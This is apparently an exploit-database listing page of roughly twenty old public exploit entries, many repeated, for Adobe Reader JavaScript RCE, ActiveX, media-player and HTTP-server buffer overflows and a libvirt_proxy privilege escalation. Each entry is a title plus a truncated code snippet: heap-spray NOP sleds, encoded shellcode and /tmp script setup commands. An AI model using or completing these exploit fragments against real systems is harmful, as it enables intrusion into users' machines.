Adobe Reader 8.1.49.1 - GetAnnots() Remote Code Execution

Adobe Reader 8.1.49.1 - GetAnnots Remote Code Execution // //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to...

Adobe Reader 8.1.4/9.1 - 'GetAnnots()' Remote Code Execution

// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to the OpenAction of the pdf. // var memory; function...

Adobe 8.1.4/9.1 - 'customDictionaryOpen()' Code Execution

// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode =...

Autodesk IDrop ActiveX Code Execution

Autodesk IDrop RCE Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...

Adobe 8.1.4/9.1 customDictionaryOpen() Code Execution Exploit

Exploit for linux platform in category remote exploits ============================================================= Adobe 8.1.4/9.1 customDictionaryOpen Code Execution Exploit ============================================================= // //Exploit made by Arr1val //Proved in adobe 9.1 and ado...

Adobe Reader getAnnots Exploit

// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to the OpenAction of the pdf. // var memory; function...

Adobe Reader Spell Exploit

// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode = unescape...

Belkin Bulldog Plus Buffer Overflow

!/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Usage : belkin.py victimeip Bug : Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit Credits go to : Elazar Broad Tested on : Xp sp3 ENVB Exploited by : His0k4 Greetings : All friends & muslims HaCkErs...

SDP Downloader 2.3.0 (.ASX) Local Buffer Overflow Exploit (SEH)

No description provided by source. usage: exploit.py xNote: In this case we have the problem of the safeseh, but if the machine uses idm and the option "Use advanced browser integration is selected,then idmmbc.dll will be loaded the most of time. print "" print "SDP Downloader v2.3.0 .ASX Local...

libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit

No description provided by source. / cve-2009-0036.c libvirtproxy = 0.5.1 Local Privilege Escalation Exploit Jon Oberheide [email protected] http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036 Buffer overflow in the proxyReadClientSocket function in...

Zoom Player Pro 3.30 Buffer Overflow

?php / Zoom Player Pro v.3.30 .m3u file buffer overflow exploit seh by Nine:Situations:Group::surfista seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version / / //original shellcode, 27 bytes + command //re-encode...

libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit

Exploit for linux platform in category local exploits ========================================================= libvirtproxy /tmp/getuid.c gcc -shared /tmp/getuid.c -o /tmp/getuid.so echo "+ setting up /tmp/run" echo -e "!/bin/sh" /tmp/run echo -e "touch /tmp/success" /tmp/run echo -e "echo...

libvirt_proxy 0.5.1 - Local Privilege Escalation

libvirtproxy 0.5.1 - Local Privilege Escalation / cve-2009-0036.c libvirtproxy http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036 Buffer overflow in the proxyReadClientSocket function in proxy/libvirtproxy.c in libvirtproxy 0.5.1 might allow local...

Zoom Player Pro 3.30 - '.m3u' Local Buffer Overflow (SEH)

?php / Zoom Player Pro v.3.30 .m3u file buffer overflow exploit seh by Nine:Situations:Group::surfista seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version / / //original shellcode, 27 bytes + command //re-encode...

SDP Downloader 2.3.0 - '.asx' Local Buffer Overflow (SEH) (1)

usage: exploit.py xNote: In this case we have the problem of the safeseh, but if the machine uses idm and the option "Use advanced browser integration is selected,then idmmbc.dll will be loaded the most of time. print "" print "SDP Downloader v2.3.0 .ASX Local Buffer Overflow Exploit SEH\n" print...

Zoom Player Pro 3.30 - .m3u Local Buffer Overflow (SEH)

Zoom Player Pro 3.30 - .m3u Local Buffer Overflow SEH ?php / Zoom Player Pro v.3.30 .m3u file buffer overflow exploit seh by Nine:Situations:Group::surfista seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version / ...

Belkin Bulldog Plus - HTTP Server Remote Buffer Overflow

Belkin Bulldog Plus - HTTP Server Remote Buffer Overflow !/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Usage : belkin.py victimeip Bug : Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit Credits go to : Elazar Broad Tested on : Xp sp3 ENVB Exploited...

Belkin Bulldog Plus - HTTP Server Remote Buffer Overflow

!/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Usage : belkin.py victimeip Bug : Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit Credits go to : Elazar Broad Tested on : Xp sp3 ENVB Exploited by : His0k4 Greetings : All friends & muslims HaCkErs...

CoolPlayer Portable 2.19.1 - .m3u Local Buffer Overflow (2)

CoolPlayer Portable 2.19.1 - .m3u Local Buffer Overflow 2 !/usr/bin/python Usage : coolplayer.py Bug : CoolPlayer Portablem3u Buffer Overflow exploit Founder : Goldm First exploiter : stack "he is my friend :" Tested on : Xp sp2 fr Greetings : All friends & muslims HaCkErs DZ,snakespc.com,secdz.c...

CoolPlayer Portable 2.19.1 (m3u) Buffer Overflow Exploit #2

Exploit for unknown platform in category local exploits =========================================================== CoolPlayer Portable 2.19.1 m3u Buffer Overflow Exploit 2 =========================================================== !/usr/bin/python Usage : coolplayer.py Bug : CoolPlayer...